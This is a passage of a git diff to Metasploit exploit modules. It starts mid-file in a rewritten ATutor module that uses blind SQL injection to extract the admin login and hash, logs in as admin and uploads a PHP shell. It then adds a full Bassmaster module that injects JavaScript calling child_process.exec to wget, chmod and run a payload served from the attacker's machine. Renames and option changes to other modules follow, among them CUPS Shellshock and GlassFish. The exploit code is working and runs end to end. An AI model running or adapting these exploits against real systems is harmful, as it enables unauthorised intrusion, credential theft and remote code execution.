the administrators interface where they can upload malcious code. - - You are required to login to the target to reach the SQL Injection, however this - can be done as a student account and remote registration is enabled by default. + vulnerability in ATutor. This essentially means an attacker can bypass authentication + and reach the administrator's interface where they can upload malicious code. }, 'License' => MSF_LICENSE, 'Author' => @@ -30,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2016-2555' ], - [ 'URL', 'http://www.atutor.ca/' ] # Official Website + [ 'URL', 'http://www.atutor.ca/' ], # Official Website + [ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory ], 'Privileged' => false, 'Payload' => @@ -45,9 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), - OptString.new('USERNAME', [true, 'The username to authenticate as']), - OptString.new('PASSWORD', [true, 'The password to authenticate with']) + OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']) ],self.class) end @@ -65,14 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote def check # the only way to test if the target is vuln - begin - test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) - rescue Msf::Exploit::Failed => e - vprint_error(e.message) - return Exploit::CheckCode::Unknown - end - - if test_injection(test_cookie) + if test_injection return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -86,8 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote @plugin_name = Rex::Text.rand_text_alpha_lower(3) path = "#{@plugin_name}/#{@payload_name}.php" - register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}") - + # this content path is where the ATutor authors recommended installing it + register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}") zip_file.add_file(path, "") zip_file.pack end @@ -97,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" - }) + }, 0.1) end def upload_shell(cookie) @@ -110,125 +99,76 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", - 'cookie' => cookie, - 'agent' => 'Mozilla' + 'cookie' => cookie }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection), - 'cookie' => cookie, - 'agent' => 'Mozilla', + 'cookie' => cookie }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"), - 'cookie' => cookie, - 'agent' => 'Mozilla', + 'cookie' => cookie }) return true end end - - # auth failed if we land here, bail + # unknown failure... fail_with(Failure::Unknown, "Unable to upload php code") return false end - def get_hashed_password(token, password, bypass) - if bypass - return Rex::Text.sha1(password + token) - else - return Rex::Text.sha1(Rex::Text.sha1(password) + token) - end - end - - def login(username, password, bypass) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "login.php"), - 'agent' => 'Mozilla', - }) - - token = $1 if res.body =~ /\) \+ \"(.*)\"\);/ - cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ - if bypass - password = get_hashed_password(token, password, true) - else - password = get_hashed_password(token, password, false) - end - + def login(username, hash) + password = Rex::Text.sha1(hash) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, - 'submit' => 'Login' + 'submit' => 'Login', + 'token' => '' }, - 'cookie' => cookie, - 'agent' => 'Mozilla' }) - cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ - - # this is what happens when no state is maintained by the http client - if res && res.code == 302 - if res.redirection.to_s.include?('bounce.php?course=0') - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, res.redirection), - 'cookie' => cookie, - 'agent' => 'Mozilla' - }) - cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ - if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, res.redirection), - 'cookie' => cookie, - 'agent' => 'Mozilla' - }) - cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ - return cookie - end - else res.redirection.to_s.include?('admin/index.php') - # if we made it here, we are admin - return cookie - end + # poor developer practices + cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php') + # if we made it here, we are admin + report_cred(user: username, password: hash) + return cookie end - # auth failed if we land here, bail fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end - def perform_request(sqli, cookie) + def perform_request(sqli) # the search requires a minimum of 3 chars sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" rand_key = Rex::Text.rand_text_alpha(1) res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"), + 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"), 'vars_post' => { "search_friends_#{rand_key}" => sqli, 'rand_key' => rand_key, - 'search' => 'Search People' + 'search' => 'Search' }, - 'cookie' => cookie, - 'agent' => 'Mozilla' }) return res.body end - def dump_the_hash(cookie) + def dump_the_hash extracted_hash = "" sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" - login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i + login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i for i in 1..login_and_hash_length sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" - asciival = generate_sql_and_test(false, false, sqli, cookie) + asciival = generate_sql_and_test(false, false, sqli) if asciival >= 0 extracted_hash << asciival.chr end @@ -236,13 +176,14 @@ class Metasploit3 < Msf::Exploit::Remote return extracted_hash.split(":") end - def get_ascii_value(sql, cookie) + # greetz to rsauron & the darkc0de crew! + def get_ascii_value(sql) lower = 0 upper = 126 while lower < upper mid = (lower + upper) / 2 sqli = "#{sql}>#{mid}" - result = perform_request(sqli, cookie) + result = perform_request(sqli) if result =~ /There are \d+ entries\./ lower = mid + 1 else @@ -253,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote value = lower else sqli = "#{sql}=#{lower}" - result = perform_request(sqli, cookie) + result = perform_request(sqli) if result =~ /There are \d+ entries\./ value = lower end @@ -261,27 +202,27 @@ class Metasploit3 < Msf::Exploit::Remote return value end - def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie) + def generate_sql_and_test(do_true=false, do_test=false, sql=nil) if do_test if do_true - result = perform_request("1=1", cookie) + result = perform_request("1=1") if result =~ /There are \d+ entries\./ return true end else not do_true - result = perform_request("1=2", cookie) + result = perform_request("1=2") if not result =~ /There are \d+ entries\./ return true end end elsif not do_test and sql - return get_ascii_value(sql, cookie) + return get_ascii_value(sql) end end - def test_injection(cookie) - if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie) - if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie) + def test_injection + if generate_sql_and_test(do_true=true, do_test=true, sql=nil) + if generate_sql_and_test(do_true=false, do_test=true, sql=nil) return true end end @@ -302,7 +243,8 @@ class Metasploit3 < Msf::Exploit::Remote post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, - private_type: :password, + private_type: :nonreplayable_hash, + jtr_format: 'sha512', username: opts[:user] }.merge(service_data) @@ -316,24 +258,14 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) - print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...") - report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) - - print_status("Dumping username and password hash...") - # we got admin hash now - credz = dump_the_hash(student_cookie) - print_good("Got the #{credz[0]} hash: #{credz[1]} !") + print_status("Dumping the username and password hash...") + credz = dump_the_hash if credz - admin_cookie = login(credz[0], credz[1], true) - print_status("Logged in as #{credz[0]}, uploading shell...") - # install a plugin + print_good("Got the #{credz[0]}'s hash: #{credz[1]} !") + admin_cookie = login(credz[0], credz[1]) if upload_shell(admin_cookie) - print_good("Shell upload successful!") - # boom exec_code end end end end - diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 645a337f93..392ffc6c62 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index ca192f495c..762484a328 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] } diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb new file mode 100644 index 0000000000..adefe65300 --- /dev/null +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -0,0 +1,168 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution', + 'Description' => %q{ + This module exploits an un-authenticated code injection vulnerability in the bassmaster + nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an + attacker to dynamically execute JavaScript code on the server side using an eval. + + Note that the code uses a '\x2f' character so that we hit the match on the regex. + }, + 'Author' => + [ + 'mr_me ', # msf + 'Jarda Kotesovec' # original bug finder + ], + 'References' => + [ + [ 'CVE', '2014-7205'], + [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'bsd'], # binary > native JavaScript + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'Privileged' => false, + 'Targets' => + [ + [ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 1 2016')) + register_options( + [ + Opt::RPORT(8080), # default port for the examples/batch.js file + OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), + ], self.class) + end + + def check + + # So if we can append an encapsulated string into the body + # we know that we can execute arbitrary JavaScript code + rando = rand_text_alpha(8+rand(8)) + check = "+'#{rando}'" + + # testing + requests = [ + {:method => "get", :path => "/profile"}, + {:method => "get", :path => "/item"}, + {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; + ] + + post = {:requests => requests} + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['URIPATH']), + 'ctype' => 'application/json', + 'data' => post.to_json + }) + + # default example app + if res and res.code == 200 and res.body =~ /#{rando}/ + return CheckCode::Vulnerable + + # non-default app + elsif res and res.code == 500 and res.body =~ /#{rando}/ + return CheckCode::Appears + end + + return CheckCode::Safe + end + + def on_request_uri(cli, request) + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + def send_payload + @bd = rand_text_alpha(8+rand(8)) + pn = rand_text_alpha(8+rand(8)) + register_file_for_cleanup("/tmp/#{@bd}") + cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};" + cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};" + cmd << "\\x2ftmp\\x2f#{@bd}" + pay = ";require('child_process').exec('#{cmd}');" + + # pwning + requests = [ + {:method => "get", :path => "/profile"}, + {:method => "get", :path => "/item"}, + {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; + ] + + post = {:requests => requests} + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['URIPATH']), + 'ctype' => 'application/json', + 'data' => post.to_json + }) + + # default example app + if res and res.code == 200 and res.body =~ /id/ + return true + + # incase we are not targeting the default app + elsif res and res.code == 500 and es.body !=~ /id/ + return true + end + return false + end + + def start_http_server + @pl = generate_payload_exe + @elf_sent = false + downfile = rand_text_alpha(8+rand(8)) + resource_uri = "\\x2f#{downfile}" + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + # do not use SSL for the attacking web server + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + datastore['SSL'] = true if ssl_restore + connect + end + + def exploit + start_http_server + if send_payload + print_good("Injected payload") + # we need to delay, for the stager + select(nil, nil, nil, 5) + end + end +end diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 30b5987cb4..810c5a1234 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index b3b854cee9..41592806fa 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index 348dea375a..78267b571c 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index 758cbcf46e..d080bbed55 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 81897bc3e0..3ba27ab138 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -59,8 +59,8 @@ class Metasploit4 < Msf::Exploit::Remote register_options([ Opt::RPORT(631), OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptString.new('USERNAME', [ true, 'CUPS username', 'root']), - OptString.new('PASSWORD', [ true, 'CUPS user password', '']), + OptString.new('HttpUsername', [ true, 'CUPS username', 'root']), + OptString.new('HttpPassword', [ true, 'CUPS user password', '']), OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) ], self.class) @@ -99,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote if res.body =~ /Set Default Options for #{printer_name}/ vprint_good("Added printer successfully") delete_printer(printer_name) - elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + elsif res.code == 401 || (res.code == 426 && datastore['SSL']) vprint_error("Authentication failed") elsif res.code == 426 vprint_error("SSL required - set SSL true") @@ -129,7 +129,7 @@ class Metasploit4 < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") elsif res.body =~ /Set Default Options for #{printer_name}/ print_good("Added printer successfully") - elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + elsif res.code == 401 || (res.code == 426 && datastore['SSL']) fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") @@ -145,7 +145,7 @@ class Metasploit4 < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") elsif res.body =~ /Test page sent; job ID is/ vprint_good("Added test page to printer queue") - elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + elsif res.code == 401 || (res.code == 426 && datastore['SSL']) fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") @@ -159,7 +159,7 @@ class Metasploit4 < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") elsif res.body =~ /has been deleted successfully/ print_status("Deleted printer '#{printer_name}' successfully") - elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + elsif res.code == 401 || (res.code == 426 && datastore['SSL']) vprint_warning("Could not delete printer '#{printer_name}' - Authentication failed.") elsif res.code == 426 vprint_warning("Could not delete printer '#{printer_name}' - SSL required - set SSL true.") @@ -233,7 +233,7 @@ EOF 'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'data' => data, 'cookie' => "org.cups.sid=#{@cookie};", - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) ) end @@ -245,7 +245,7 @@ EOF send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, @@ -262,7 +262,7 @@ EOF send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 865ca0fbd2..1775c6d41c 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index f999bafa7c..fd8d55a9c8 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb index ac0adec7c5..38f32cb614 100644 --- a/modules/exploits/multi/http/drupal_drupageddon.rb +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index b25107fc24..aa9ea2ce7f 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb index eda04d55c3..442cb13d75 100644 --- a/modules/exploits/multi/http/eventlog_file_upload.rb +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 542509bd28..a9208b1b86 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index 07e3741261..47fa520192 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index da1dbb571e..0911ea8a47 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 7b7162bb13..3ce66f4b55 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -46,17 +46,17 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'URI', '/gestioip/']), - OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), - OptString.new('PASSWORD', [false, 'The password to auth with', nil]) + OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']), + OptString.new('HttpPassword', [false, 'The password to auth with', nil]) ], self.class) end def user - datastore['USERNAME'] + datastore['HttpUsername'] end def pass - datastore['PASSWORD'] + datastore['HttpPassword'] end def use_auth diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index 566cfea515..3f4972cdc2 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb index 5f1b1054dc..730692f081 100644 --- a/modules/exploits/multi/http/gitlab_shell_exec.rb +++ b/modules/exploits/multi/http/gitlab_shell_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index 8258c0e9f1..aa70e5f6ce 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 43782be301..bf2fa9d8ba 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -8,7 +8,7 @@ require 'nokogiri' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -67,6 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote headers = {} headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank? headers['Content-Type'] = ctype if ctype + headers['Connection'] = 'keep-alive' + headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' + headers['Accept-Language'] = 'en-US,en;q=0.5' + headers['Accept-Encoding'] = 'gzip, deflate, br' res = send_request_raw({ 'uri' => path, @@ -475,6 +479,39 @@ class Metasploit3 < Msf::Exploit::Remote format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"), + format(boundary,"form:other:psection:descriptionProp:description", ""), + format(boundary,"form:other:psection:librariesProp:library", ""), + format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""), + format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"), + format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"), + format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"), + format(boundary,"form:other:psection:vsProp:vs",""), + format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"), + format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""), + format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"), + format(boundary,"form:other:psection:nameProp:appName", app_base), + format(boundary,"form:rar:psection:nameProp:appName", app_base), + format(boundary,"form:jar:psection:nameProp:appName", app_base), + format(boundary,"form:ear:psection:nameProp:appName", app_base), + format(boundary,"form:ear:psection:descriptionProp:description",""), + format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""), + format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"), + format(boundary,"form:ear:psection:jw:jwc","true"), + format(boundary,"form:ear:psection:vsProp:vs",""), + format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""), + format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"), + format(boundary,"form:jar:psection:descriptionProp:description", ""), + format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"), + format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"), + format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"), + format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""), + format(boundary,"form:jar:psection:librariesProp:library",""), + format(boundary,"form:appClient:psection:jw:jwt","true"), + format(boundary,"form:ear:psection:librariesProp:library", ""), + format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"), + format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""), + format(boundary,"form:rar:psection:descriptionProp:description",""), + 